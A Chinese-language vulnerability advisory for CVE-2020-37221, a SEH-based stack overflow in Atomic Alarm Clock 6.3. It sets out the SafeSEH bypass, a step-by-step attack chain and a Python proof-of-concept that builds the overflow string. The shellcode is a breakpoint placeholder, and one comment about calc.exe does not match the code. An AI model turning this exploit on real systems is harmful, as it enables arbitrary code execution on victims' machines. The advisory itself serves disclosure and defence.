IPBUF安全漏洞报告
English
CVE-2020-37221 CVSS 8.4 高危

CVE-2020-37221 Atomic Alarm Clock栈溢出漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37221
漏洞类型
栈溢出
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Atomic Alarm Clock

相关标签

栈溢出本地代码执行Atomic Alarm ClockSafeSEH绕过CVE-2020-37221

漏洞概述

Atomic Alarm Clock 6.3版本存在栈溢出漏洞。攻击者可以通过在“时区时钟”配置的显示名称文本框中输入恶意字符串来触发该漏洞。利用此漏洞,攻击者能够通过覆盖结构化异常处理(SEH)并插入编码的Shellcode绕过SafeSEH保护,最终以应用程序权限在本地执行任意代码,造成严重的安全风险。

技术细节

该漏洞源于Atomic Alarm Clock 6.3版本在处理“时区时钟”配置中的显示名称输入时,未对用户提供的字符串长度进行严格的边界检查,导致基于栈的缓冲区溢出。攻击者可以精心构造一个特制的缓冲区,利用该缓冲区覆盖内存中的结构化异常处理(SEH)记录。为了绕过SafeSEH安全保护机制,攻击者需要在载荷中寻找特定的内存跳转指令(如POP POP RET)或利用未启用SafeSEH的模块地址。成功覆盖SEH处理程序后,当程序触发异常时,控制流将被劫持至攻击者植入的编码Shellcode处执行。由于无需用户交互且无需认证,本地攻击者即可借此获得应用程序权限,执行任意系统命令。

攻击链分析

STEP 1
侦察
确认目标系统上安装了Atomic Alarm Clock 6.3版本。
STEP 2
载荷生成
构造包含特定偏移量填充、SEH覆盖结构及Shellcode的恶意字符串。
STEP 3
传递载荷
打开Atomic Alarm Clock,进入Time Zones Clock配置,将恶意字符串粘贴到Display Name文本框中。
STEP 4
触发溢出
保存配置或触发输入处理,导致栈缓冲区溢出并覆盖SEH记录。
STEP 5
执行代码
程序触发异常,控制流被劫持至Shellcode,绕过SafeSEH保护并执行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2020-37221 # This script generates a malicious string to trigger the stack overflow. import struct # Vulnerable offset (example value, needs adjustment based on exact version/debugging) offset = 4128 # SEH overwrite structure # Next SEH address (usually 0x909006eb for short jump) nseh = struct.pack('<L', 0x909006eb) # SE Handler address (POP POP RET from non-SafeSEH module) seh = struct.pack('<L', 0x1001a019) # Padding padding = b'A' * (offset - 4) # Simple placeholder shellcode (calc.exe for demonstration) # Real exploits use encoded shellcode to avoid badchars shellcode = b'\xCC' * 300 payload = padding + nseh + seh + shellcode try: f = open("poc.txt", "w") f.write(payload.decode('latin-1')) # Writing as text to copy into textbox f.close() print("[+] PoC file 'poc.txt' created successfully.") print("[+] Copy the content of poc.txt into the 'Display Name' textbox in Time Zones Clock configuration.") except: print("[-] Error creating file.")

影响范围

Atomic Alarm Clock 6.3

防御指南

临时缓解措施
建议用户尽快升级至最新版本以修复此漏洞。若无法立即升级,应限制对Atomic Alarm Clock软件的访问权限,仅允许受信任的管理员用户操作,并避免在关键系统上运行受影响版本。

参考链接